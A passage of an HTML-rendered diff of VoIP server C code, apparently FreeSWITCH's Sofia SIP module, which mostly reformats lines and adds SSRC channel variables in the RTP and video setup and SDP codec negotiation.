</ins><span class="cx">                         if (ival <= 0) {
</span><span class="cx">                                 if (switch_true(val)) {
</span><span class="cx">                                         ival = 6;
</span><span class="lines">@@ -2553,11 +2639,13 @@
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">                 tech_pvt->ssrc = switch_rtp_get_ssrc(tech_pvt->rtp_session);
</span><ins>+                switch_channel_set_variable_printf(tech_pvt->channel, "rtp_use_ssrc", "%u", tech_pvt->ssrc);
+
</ins><span class="cx">                 sofia_set_flag(tech_pvt, TFLAG_RTP);
</span><span class="cx">                 sofia_set_flag(tech_pvt, TFLAG_IO);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_rtp_intentional_bugs(tech_pvt->rtp_session, tech_pvt->rtp_bugs);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if ((vad_in && inb) || (vad_out && !inb)) {
</span><span class="cx">                         switch_rtp_enable_vad(tech_pvt->rtp_session, tech_pvt->session, &tech_pvt->read_codec, SWITCH_VAD_FLAG_TALKING);
</span><span class="cx">                         sofia_set_flag(tech_pvt, TFLAG_VAD);
</span><span class="lines">@@ -2566,22 +2654,25 @@
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">                 if (stun_ping) {
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_DEBUG, "Setting stun ping to %s:%d\n", tech_pvt->stun_ip, stun_ping);
-                        switch_rtp_activate_stun_ping(tech_pvt->rtp_session, tech_pvt->stun_ip, tech_pvt->stun_port,
-                                                                                 stun_ping, (tech_pvt->stun_flags & STUN_FLAG_FUNNY) ? 1 : 0);
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_DEBUG, "Setting stun ping to %s:%d\n", tech_pvt->stun_ip,
+                                                         stun_ping);
+                        switch_rtp_activate_stun_ping(tech_pvt->rtp_session, tech_pvt->stun_ip, tech_pvt->stun_port, stun_ping,
+                                                                                 (tech_pvt->stun_flags & STUN_FLAG_FUNNY) ? 1 : 0);
</ins><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">                 if ((val = switch_channel_get_variable(tech_pvt->channel, "jitterbuffer_msec"))) {
</span><span class="cx">                         int len = atoi(val);
</span><span class="cx">
</span><span class="cx">                         if (len < 100 || len > 1000) {
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_ERROR, "Invalid Jitterbuffer spec [%d] must be between 100 and 1000\n", len);
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_ERROR,
+                                                                 "Invalid Jitterbuffer spec [%d] must be between 100 and 1000\n", len);
</ins><span class="cx">                         } else {
</span><span class="cx">                                 int qlen;
</span><span class="cx">
</span><span class="cx">                                 qlen = len / (tech_pvt->read_impl.microseconds_per_packet / 1000);
</span><span class="cx">
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_DEBUG, "Setting Jitterbuffer to %dms (%d frames)\n", len, qlen);
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_DEBUG, "Setting Jitterbuffer to %dms (%d frames)\n", len,
+                                                                 qlen);
</ins><span class="cx">                                 switch_rtp_activate_jitter_buffer(tech_pvt->rtp_session, qlen);
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="lines">@@ -2601,8 +2692,7 @@
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">                 if (rtp_timeout_sec) {
</span><del>-                        tech_pvt->max_missed_packets = (tech_pvt->read_impl.samples_per_second * rtp_timeout_sec) /
-                                tech_pvt->read_impl.samples_per_packet;
</del><ins>+                        tech_pvt->max_missed_packets = (tech_pvt->read_impl.samples_per_second * rtp_timeout_sec) / tech_pvt->read_impl.samples_per_packet;
</ins><span class="cx">
</span><span class="cx">                         switch_rtp_set_max_missed_packets(tech_pvt->rtp_session, tech_pvt->max_missed_packets);
</span><span class="cx">                         if (!rtp_hold_timeout_sec) {
</span><span class="lines">@@ -2611,8 +2701,7 @@
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">                 if (rtp_hold_timeout_sec) {
</span><del>-                        tech_pvt->max_missed_hold_packets = (tech_pvt->read_impl.samples_per_second * rtp_hold_timeout_sec) /
-                                tech_pvt->read_impl.samples_per_packet;
</del><ins>+                        tech_pvt->max_missed_hold_packets = (tech_pvt->read_impl.samples_per_second * rtp_hold_timeout_sec) / tech_pvt->read_impl.samples_per_packet;
</ins><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">                 if (tech_pvt->te) {
</span><span class="lines">@@ -2648,7 +2737,7 @@
</span><span class="cx">
</span><span class="cx">                 sofia_glue_check_video_codecs(tech_pvt);
</span><span class="cx">                 if (sofia_test_flag(tech_pvt, TFLAG_VIDEO) && tech_pvt->video_rm_encoding && tech_pvt->remote_sdp_video_port) {
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         /******************************************************************************************/
</span><span class="cx">                         if (tech_pvt->video_rtp_session && sofia_test_flag(tech_pvt, TFLAG_REINVITE)) {
</span><span class="cx">                                 //const char *ip = switch_channel_get_variable(tech_pvt->channel, SWITCH_LOCAL_MEDIA_IP_VARIABLE);
</span><span class="lines">@@ -2657,33 +2746,33 @@
</span><span class="cx">                                 switch_port_t remote_port = switch_rtp_get_remote_port(tech_pvt->video_rtp_session);
</span><span class="cx">
</span><span class="cx">                                 if (remote_host && remote_port && !strcmp(remote_host, tech_pvt->remote_sdp_video_ip) && remote_port == tech_pvt->remote_sdp_video_port) {
</span><del>-                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_DEBUG, "Video params are unchanged for %s.\n", switch_channel_get_name(tech_pvt->channel));
</del><ins>+                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_DEBUG, "Video params are unchanged for %s.\n",
+                                                                         switch_channel_get_name(tech_pvt->channel));
</ins><span class="cx">                                         goto video_up;
</span><span class="cx">                                 } else {
</span><del>-                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_DEBUG, "Video params changed for %s from %s:%d to %s:%d\n",
</del><ins>+                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_DEBUG, "Video params changed for %s from %s:%d to %s:%d\n",
</ins><span class="cx">                                                                          switch_channel_get_name(tech_pvt->channel),
</span><span class="cx">                                                                          remote_host, remote_port, tech_pvt->remote_sdp_video_ip, tech_pvt->remote_sdp_video_port);
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="cx">
</span><span class="cx">                         if (!switch_channel_test_flag(tech_pvt->channel, CF_PROXY_MEDIA)) {
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_DEBUG, "VIDEO RTP [%s] %s port %d -> %s port %d codec: %u ms: %d\n",
-                                                                 switch_channel_get_name(tech_pvt->channel),
-                                                                 tech_pvt->local_sdp_audio_ip,
-                                                                 tech_pvt->local_sdp_video_port,
-                                                                 tech_pvt->remote_sdp_video_ip,
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_DEBUG,
+                                                                 "VIDEO RTP [%s] %s port %d -> %s port %d codec: %u ms: %d\n", switch_channel_get_name(tech_pvt->channel),
+                                                                 tech_pvt->local_sdp_audio_ip, tech_pvt->local_sdp_video_port, tech_pvt->remote_sdp_video_ip,
</ins><span class="cx">                                                                  tech_pvt->remote_sdp_video_port, tech_pvt->video_agreed_pt, tech_pvt->read_impl.microseconds_per_packet / 1000);
</span><span class="cx">                         }
</span><span class="cx">
</span><span class="cx">                         switch_snprintf(tmp, sizeof(tmp), "%d", tech_pvt->local_sdp_video_port);
</span><del>-                        switch_channel_set_variable(tech_pvt->channel, SWITCH_LOCAL_MEDIA_IP_VARIABLE, tech_pvt->adv_sdp_audio_ip);
-                        switch_channel_set_variable(tech_pvt->channel, SWITCH_LOCAL_MEDIA_PORT_VARIABLE, tmp);
</del><ins>+                        switch_channel_set_variable(tech_pvt->channel, SWITCH_LOCAL_VIDEO_IP_VARIABLE, tech_pvt->adv_sdp_audio_ip);
+                        switch_channel_set_variable(tech_pvt->channel, SWITCH_LOCAL_VIDEO_PORT_VARIABLE, tmp);
</ins><span class="cx">
</span><span class="cx">                         if (tech_pvt->video_rtp_session && sofia_test_flag(tech_pvt, TFLAG_REINVITE)) {
</span><span class="cx">                                 sofia_clear_flag_locked(tech_pvt, TFLAG_REINVITE);
</span><del>-                
-                                if (switch_rtp_set_remote_address(tech_pvt->video_rtp_session, tech_pvt->remote_sdp_video_ip, tech_pvt->remote_sdp_video_port, SWITCH_TRUE, &err) !=
-                                        SWITCH_STATUS_SUCCESS) {
</del><ins>+
+                                if (switch_rtp_set_remote_address
+                                        (tech_pvt->video_rtp_session, tech_pvt->remote_sdp_video_ip, tech_pvt->remote_sdp_video_port, SWITCH_TRUE,
+                                         &err) != SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_ERROR, "VIDEO RTP REPORTS ERROR: [%s]\n", err);
</span><span class="cx">                                 } else {
</span><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_DEBUG, "VIDEO RTP CHANGING DEST TO: [%s:%d]\n",
</span><span class="lines">@@ -2727,7 +2816,7 @@
</span><span class="cx">                         }
</span><span class="cx">
</span><span class="cx">                         /******************************************************************************************/
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (tech_pvt->video_rtp_session) {
</span><span class="cx">                                 goto video_up;
</span><span class="cx">                         }
</span><span class="lines">@@ -2739,8 +2828,7 @@
</span><span class="cx">
</span><span class="cx">                         if (!sofia_test_pflag(tech_pvt->profile, PFLAG_DISABLE_RTP_AUTOADJ) && !switch_channel_test_flag(tech_pvt->channel, CF_PROXY_MODE) &&
</span><span class="cx">                                 !((val = switch_channel_get_variable(tech_pvt->channel, "disable_rtp_auto_adjust")) && switch_true(val))) {
</span><del>-                                flags = (switch_rtp_flag_t) (SWITCH_RTP_FLAG_USE_TIMER | SWITCH_RTP_FLAG_AUTOADJ |
-                                                                                          SWITCH_RTP_FLAG_DATAWAIT | SWITCH_RTP_FLAG_RAW_WRITE);
</del><ins>+                                flags = (switch_rtp_flag_t) (SWITCH_RTP_FLAG_USE_TIMER | SWITCH_RTP_FLAG_AUTOADJ | SWITCH_RTP_FLAG_DATAWAIT | SWITCH_RTP_FLAG_RAW_WRITE);
</ins><span class="cx">                         } else {
</span><span class="cx">                                 flags = (switch_rtp_flag_t) (SWITCH_RTP_FLAG_USE_TIMER | SWITCH_RTP_FLAG_DATAWAIT | SWITCH_RTP_FLAG_RAW_WRITE);
</span><span class="cx">                         }
</span><span class="lines">@@ -2770,7 +2858,16 @@
</span><span class="cx">                                                          0, switch_rtp_ready(tech_pvt->video_rtp_session) ? "SUCCESS" : err);
</span><span class="cx">
</span><span class="cx">                         if (switch_rtp_ready(tech_pvt->video_rtp_session)) {
</span><ins>+                                const char *ssrc;
</ins><span class="cx">                                 switch_channel_set_flag(tech_pvt->channel, CF_VIDEO);
</span><ins>+                                if ((ssrc = switch_channel_get_variable(tech_pvt->channel, "rtp_use_video_ssrc"))) {
+                                        uint32_t ssrc_ul = (uint32_t) strtoul(ssrc, NULL, 10);
+                                        switch_rtp_set_ssrc(tech_pvt->video_rtp_session, ssrc_ul);
+                                }
+
+                                switch_channel_set_variable_printf(tech_pvt->channel, "sip_use_video_pt", "%d", tech_pvt->video_agreed_pt);
+                                tech_pvt->video_ssrc = switch_rtp_get_ssrc(tech_pvt->rtp_session);
+                                switch_channel_set_variable_printf(tech_pvt->channel, "rtp_use_video_ssrc", "%u", tech_pvt->ssrc);
</ins><span class="cx">                         } else {
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_ERROR, "VIDEO RTP REPORTS ERROR: [%s]\n", switch_str_nil(err));
</span><span class="cx">                                 switch_channel_hangup(tech_pvt->channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
</span><span class="lines">@@ -2786,13 +2883,16 @@
</span><span class="cx">                 goto end;
</span><span class="cx">         }
</span><span class="cx">
</span><del>- video_up:
</del><ins>+ video_up:
</ins><span class="cx">
</span><span class="cx">         sofia_set_flag(tech_pvt, TFLAG_IO);
</span><span class="cx">         status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">
</span><span class="cx"> end:
</span><span class="cx">
</span><ins>+        sofia_glue_tech_track(tech_pvt->profile, tech_pvt->session);
+
+
</ins><span class="cx">         switch_mutex_unlock(tech_pvt->sofia_mutex);
</span><span class="cx">
</span><span class="cx">         return status;
</span><span class="lines">@@ -2801,7 +2901,7 @@
</span><span class="cx">
</span><span class="cx"> void sofia_glue_set_r_sdp_codec_string(switch_core_session_t *session, const char *codec_string, sdp_session_t *sdp)
</span><span class="cx"> {
</span><del>-        char buf[1024] = {0};
</del><ins>+        char buf[1024] = { 0 };
</ins><span class="cx">         sdp_media_t *m;
</span><span class="cx">         sdp_attribute_t *attr;
</span><span class="cx">         int ptime = 0, dptime = 0;
</span><span class="lines">@@ -2844,7 +2944,7 @@
</span><span class="cx">
</span><span class="cx">         for (m = sdp->sdp_media; m; m = m->m_next) {
</span><span class="cx">                 ptime = dptime;
</span><del>-                if ( m->m_type == sdp_media_image && m->m_port) {
</del><ins>+                if (m->m_type == sdp_media_image && m->m_port) {
</ins><span class="cx">                         switch_snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf), ",t38");
</span><span class="cx">                 } else if (m->m_type == sdp_media_audio && m->m_port) {
</span><span class="cx">                         for (attr = m->m_attributes; attr; attr = attr->a_next) {
</span><span class="lines">@@ -2872,7 +2972,7 @@
</span><span class="cx">                                         continue;
</span><span class="cx">                                 }
</span><span class="cx">                                 for (map = m->m_rtpmaps; map; map = map->rm_next) {
</span><del>-                                        if ( map->rm_pt > 127 || already_did[map->rm_pt]) {
</del><ins>+                                        if (map->rm_pt > 127 || already_did[map->rm_pt]) {
</ins><span class="cx">                                                 continue;
</span><span class="cx">                                         }
</span><span class="cx">
</span><span class="lines">@@ -2888,7 +2988,8 @@
</span><span class="cx">
</span><span class="cx">                                         if (match) {
</span><span class="cx">                                                 if (ptime > 0) {
</span><del>-                                                        switch_snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf), ",%s@%uh@%di", imp->iananame, (unsigned int) map->rm_rate, ptime);
</del><ins>+                                                        switch_snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf), ",%s@%uh@%di", imp->iananame, (unsigned int) map->rm_rate,
+                                                                                        ptime);
</ins><span class="cx">                                                 } else {
</span><span class="cx">                                                         switch_snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf), ",%s@%uh", imp->iananame, (unsigned int) map->rm_rate);
</span><span class="cx">                                                 }
</span><span class="lines">@@ -2913,7 +3014,7 @@
</span><span class="cx">                                         continue;
</span><span class="cx">                                 }
</span><span class="cx">                                 for (map = m->m_rtpmaps; map; map = map->rm_next) {
</span><del>-                                        if ( map->rm_pt > 127 || already_did[map->rm_pt]) {
</del><ins>+                                        if (map->rm_pt > 127 || already_did[map->rm_pt]) {
</ins><span class="cx">                                                 continue;
</span><span class="cx">                                         }
</span><span class="cx">
</span><span class="lines">@@ -2929,7 +3030,8 @@
</span><span class="cx">
</span><span class="cx">                                         if (match) {
</span><span class="cx">                                                 if (ptime > 0) {
</span><del>-                                                        switch_snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf), ",%s@%uh@%di", imp->iananame, (unsigned int) map->rm_rate, ptime);
</del><ins>+                                                        switch_snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf), ",%s@%uh@%di", imp->iananame, (unsigned int) map->rm_rate,
+                                                                                        ptime);
</ins><span class="cx">                                                 } else {
</span><span class="cx">                                                         switch_snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf), ",%s@%uh", imp->iananame, (unsigned int) map->rm_rate);
</span><span class="cx">                                                 }
</span><span class="lines">@@ -2959,13 +3061,13 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if ((parser = sdp_parse(NULL, r_sdp, (int) strlen(r_sdp), 0))) {
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (tech_pvt->num_codecs) {
</span><span class="cx">                         if ((sdp = sdp_session(parser))) {
</span><span class="cx">                                 match = sofia_glue_negotiate_sdp(tech_pvt->session, sdp);
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 sdp_parser_free(parser);
</span><span class="cx">         }
</span><span class="cx">
</span><span class="lines">@@ -2992,7 +3094,7 @@
</span><span class="cx">                 if (!sofia_test_flag(tech_pvt, TFLAG_SIP_HOLD)) {
</span><span class="cx">                         const char *stream;
</span><span class="cx">                         const char *msg = "hold";
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (sofia_test_pflag(tech_pvt->profile, PFLAG_MANAGE_SHARED_APPEARANCE)) {
</span><span class="cx">                                 const char *info = switch_channel_get_variable(tech_pvt->channel, "presence_call_info");
</span><span class="cx">                                 if (info) {
</span><span class="lines">@@ -3020,7 +3122,7 @@
</span><span class="cx">                                         switch_channel_set_flag(tech_pvt->channel, CF_HOLD);
</span><span class="cx">                                         switch_ivr_hold_uuid(switch_channel_get_variable(tech_pvt->channel, SWITCH_SIGNAL_BOND_VARIABLE), NULL, 0);
</span><span class="cx">                                 } else {
</span><del>-                                        switch_ivr_broadcast(switch_channel_get_variable(tech_pvt->channel, SWITCH_SIGNAL_BOND_VARIABLE), stream,
</del><ins>+                                        switch_ivr_broadcast(switch_channel_get_variable(tech_pvt->channel, SWITCH_SIGNAL_BOND_VARIABLE), stream,
</ins><span class="cx">                                                                                  SMF_ECHO_ALEG | SMF_LOOP | SMF_PRIORITY);
</span><span class="cx">                                         switch_yield(250000);
</span><span class="cx">                                 }
</span><span class="lines">@@ -3033,7 +3135,7 @@
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">                 sofia_clear_flag_locked(tech_pvt, TFLAG_HOLD_LOCK);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (sofia_test_flag(tech_pvt, TFLAG_SIP_HOLD)) {
</span><span class="cx">                         const char *uuid;
</span><span class="cx">                         switch_core_session_t *b_session;
</span><span class="lines">@@ -3087,7 +3189,7 @@
</span><span class="cx">
</span><span class="cx">         greedy = !!sofia_test_pflag(tech_pvt->profile, PFLAG_GREEDY);
</span><span class="cx">         scrooge = !!sofia_test_pflag(tech_pvt->profile, PFLAG_SCROOGE);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!greedy || !scrooge) {
</span><span class="cx">                 if ((val = switch_channel_get_variable(channel, "sip_codec_negotiation"))) {
</span><span class="cx">                         if (!strcasecmp(val, "greedy")) {
</span><span class="lines">@@ -3108,16 +3210,15 @@
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Activate Buggy RFC2833 Mode!\n");
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (tech_pvt->profile->auto_rtp_bugs & RTP_BUG_SONUS_SEND_INVALID_TIMESTAMP_2833) {
</span><span class="cx">                         if (strstr(tech_pvt->origin, "Sonus_UAC")) {
</span><span class="cx">                                 tech_pvt->rtp_bugs |= RTP_BUG_SONUS_SEND_INVALID_TIMESTAMP_2833;
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING,
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING,
</ins><span class="cx">                                                                  "Hello,\nI see you have a Sonus!\n"
</span><span class="cx">                                                                  "FYI, Sonus cannot follow the RFC on the proper way to send DTMF.\n"
</span><span class="cx">                                                                  "Sadly, my creator had to spend several hours figuring this out so I thought you'd like to know that!\n"
</span><del>-                                                                 "Don't worry, DTMF will work but you may want to ask them to fix it......\n"
-                                                                 );
</del><ins>+                                                                 "Don't worry, DTMF will work but you may want to ask them to fix it......\n");
</ins><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="lines">@@ -3163,25 +3264,25 @@
</span><span class="cx">
</span><span class="cx">                 if (got_udptl && m->m_type == sdp_media_image && m->m_port) {
</span><span class="cx">                         switch_t38_options_t *t38_options = switch_core_session_alloc(tech_pvt->session, sizeof(switch_t38_options_t));
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         for (attr = m->m_attributes; attr; attr = attr->a_next) {
</span><del>-                                if (!strcasecmp(attr->a_name, "T38MaxBitRate") && attr->a_value) {
</del><ins>+                                if (!strcasecmp(attr->a_name, "T38MaxBitRate") && attr->a_value) {
</ins><span class="cx">                                         t38_options->T38MaxBitRate = (uint32_t) atoi(attr->a_value);
</span><del>-                                } else if (!strcasecmp(attr->a_name, "T38FaxFillBitRemoval")) {
</del><ins>+                                } else if (!strcasecmp(attr->a_name, "T38FaxFillBitRemoval")) {
</ins><span class="cx">                                         t38_options->T38FaxFillBitRemoval = SWITCH_TRUE;
</span><del>-                                } else if (!strcasecmp(attr->a_name, "T38FaxTranscodingMMR")) {
</del><ins>+                                } else if (!strcasecmp(attr->a_name, "T38FaxTranscodingMMR")) {
</ins><span class="cx">                                         t38_options->T38FaxTranscodingMMR = SWITCH_TRUE;
</span><del>-                                } else if (!strcasecmp(attr->a_name, "T38FaxTranscodingJBIG")) {
</del><ins>+                                } else if (!strcasecmp(attr->a_name, "T38FaxTranscodingJBIG")) {
</ins><span class="cx">                                         t38_options->T38FaxTranscodingJBIG = SWITCH_TRUE;
</span><del>-                                } else if (!strcasecmp(attr->a_name, "T38FaxRateManagement") && attr->a_value) {
</del><ins>+                                } else if (!strcasecmp(attr->a_name, "T38FaxRateManagement") && attr->a_value) {
</ins><span class="cx">                                         t38_options->T38FaxRateManagement = switch_core_session_strdup(tech_pvt->session, attr->a_value);
</span><del>-                                } else if (!strcasecmp(attr->a_name, "T38FaxMaxBuffer") && attr->a_value) {
</del><ins>+                                } else if (!strcasecmp(attr->a_name, "T38FaxMaxBuffer") && attr->a_value) {
</ins><span class="cx">                                         t38_options->T38FaxMaxBuffer = (uint32_t) atoi(attr->a_value);
</span><del>-                                } else if (!strcasecmp(attr->a_name, "T38FaxMaxDatagram") && attr->a_value) {
</del><ins>+                                } else if (!strcasecmp(attr->a_name, "T38FaxMaxDatagram") && attr->a_value) {
</ins><span class="cx">                                         t38_options->T38FaxMaxDatagram = (uint32_t) atoi(attr->a_value);
</span><del>-                                } else if (!strcasecmp(attr->a_name, "T38FaxUdpEC") && attr->a_value) {
</del><ins>+                                } else if (!strcasecmp(attr->a_name, "T38FaxUdpEC") && attr->a_value) {
</ins><span class="cx">                                         t38_options->T38FaxUdpEC = switch_core_session_strdup(tech_pvt->session, attr->a_value);
</span><del>-                                } else if (!strcasecmp(attr->a_name, "T38VendorInfo") && attr->a_value) {
</del><ins>+                                } else if (!strcasecmp(attr->a_name, "T38VendorInfo") && attr->a_value) {
</ins><span class="cx">                                         t38_options->T38VendorInfo = switch_core_session_strdup(tech_pvt->session, attr->a_value);
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="lines">@@ -3232,12 +3333,12 @@
</span><span class="cx">                                                         } else {
</span><span class="cx">                                                                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Crypto Setup Failed!.\n");
</span><span class="cx">                                                         }
</span><del>-                                                                                                                
</del><ins>+
</ins><span class="cx">                                                         if (a && b && !strncasecmp(a, b, 23)) {
</span><span class="cx">                                                                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Change Remote key to [%s]\n", crypto);
</span><span class="cx">                                                                 tech_pvt->remote_crypto_key = switch_core_session_strdup(tech_pvt->session, crypto);
</span><span class="cx">                                                                 tech_pvt->crypto_tag = crypto_tag;
</span><del>-                                                                
</del><ins>+
</ins><span class="cx">                                                                 if (switch_rtp_ready(tech_pvt->rtp_session) && sofia_test_flag(tech_pvt, TFLAG_SECURE)) {
</span><span class="cx">                                                                         sofia_glue_add_crypto(tech_pvt, tech_pvt->remote_crypto_key, SWITCH_RTP_CRYPTO_RECV);
</span><span class="cx">                                                                         switch_rtp_add_crypto_key(tech_pvt->rtp_session, SWITCH_RTP_CRYPTO_RECV, tech_pvt->crypto_tag,
</span><span class="lines">@@ -3288,7 +3389,7 @@
</span><span class="cx">                  greed:
</span><span class="cx">                         x = 0;
</span><span class="cx">
</span><del>-                        if (tech_pvt->rm_encoding) {// && !sofia_test_flag(tech_pvt, TFLAG_REINVITE)) {
</del><ins>+                        if (tech_pvt->rm_encoding) {        // && !sofia_test_flag(tech_pvt, TFLAG_REINVITE)) {
</ins><span class="cx">                                 char *remote_host = tech_pvt->remote_sdp_audio_ip;
</span><span class="cx">                                 switch_port_t remote_port = tech_pvt->remote_sdp_audio_port;
</span><span class="cx">                                 int same = 0;
</span><span class="lines">@@ -3297,7 +3398,7 @@
</span><span class="cx">                                         remote_host = switch_rtp_get_remote_host(tech_pvt->rtp_session);
</span><span class="cx">                                         remote_port = switch_rtp_get_remote_port(tech_pvt->rtp_session);
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 for (map = m->m_rtpmaps; map; map = map->rm_next) {
</span><span class="cx">                                         if ((zstr(map->rm_encoding) || (tech_pvt->profile->ndlb & PFLAG_NDLB_ALLOW_BAD_IANANAME)) && map->rm_pt < 96) {
</span><span class="cx">                                                 match = (map->rm_pt == tech_pvt->pt) ? 1 : 0;
</span><span class="lines">@@ -3305,8 +3406,7 @@
</span><span class="cx">                                                 match = strcasecmp(switch_str_nil(map->rm_encoding), tech_pvt->iananame) ? 0 : 1;
</span><span class="cx">                                         }
</span><span class="cx">
</span><del>-                                        if (match && connection->c_address && remote_host &&
-                                                !strcmp(connection->c_address, remote_host) && m->m_port == remote_port) {
</del><ins>+                                        if (match && connection->c_address && remote_host && !strcmp(connection->c_address, remote_host) && m->m_port == remote_port) {
</ins><span class="cx">                                                 same = 1;
</span><span class="cx">                                         } else {
</span><span class="cx">                                                 same = 0;
</span><span class="lines">@@ -3315,7 +3415,7 @@
</span><span class="cx">                                 }
</span><span class="cx">
</span><span class="cx">                                 if (same) {
</span><del>-                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,
</del><ins>+                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,
</ins><span class="cx">                                                                          "Our existing sdp is still good [%s %s:%d], let's keep it.\n",
</span><span class="cx">                                                                          tech_pvt->rm_encoding, tech_pvt->remote_sdp_audio_ip, tech_pvt->remote_sdp_audio_port);
</span><span class="cx">                                         got_audio = 1;
</span><span class="lines">@@ -3324,7 +3424,7 @@
</span><span class="cx">                                         got_audio = 0;
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         for (map = m->m_rtpmaps; map; map = map->rm_next) {
</span><span class="cx">                                 int32_t i;
</span><span class="cx">                                 uint32_t near_rate = 0;
</span><span class="lines">@@ -3369,7 +3469,7 @@
</span><span class="cx">                                         first = 0;
</span><span class="cx">                                         last = tech_pvt->num_codecs;
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (maxptime && (!ptime || ptime > maxptime)) {
</span><span class="cx">                                         ptime = maxptime;
</span><span class="cx">                                 }
</span><span class="lines">@@ -3396,12 +3496,11 @@
</span><span class="cx">
</span><span class="cx">                                         if (match) {
</span><span class="cx">                                                 if (scrooge) {
</span><del>-                                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,
-                                                                                         "Bah HUMBUG! Sticking with %s@%uh@%ui\n",
</del><ins>+                                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,
+                                                                                         "Bah HUMBUG! Sticking with %s@%uh@%ui\n",
</ins><span class="cx">                                                                                          imp->iananame, imp->samples_per_second, imp->microseconds_per_packet / 1000);
</span><span class="cx">                                                 } else {
</span><del>-                                                        if ((ptime && ptime * 1000 != imp->microseconds_per_packet) ||
-                                                                map->rm_rate != codec_rate) {
</del><ins>+                                                        if ((ptime && ptime * 1000 != imp->microseconds_per_packet) || map->rm_rate != codec_rate) {
</ins><span class="cx">                                                                 near_rate = map->rm_rate;
</span><span class="cx">                                                                 near_match = imp;
</span><span class="cx">                                                                 match = 0;
</span><span class="lines">@@ -3420,18 +3519,18 @@
</span><span class="cx">                                         char *prefs[1];
</span><span class="cx">                                         char tmp[80];
</span><span class="cx">                                         int num;
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         switch_snprintf(tmp, sizeof(tmp), "%s@%uh@%ui", near_match->iananame, near_rate ? near_rate : near_match->samples_per_second, ptime);
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         prefs[0] = tmp;
</span><span class="cx">                                         num = switch_loadable_module_get_codecs_sorted(search, 1, prefs, 1);
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if (num) {
</span><span class="cx">                                                 mimp = search[0];
</span><span class="cx">                                         } else {
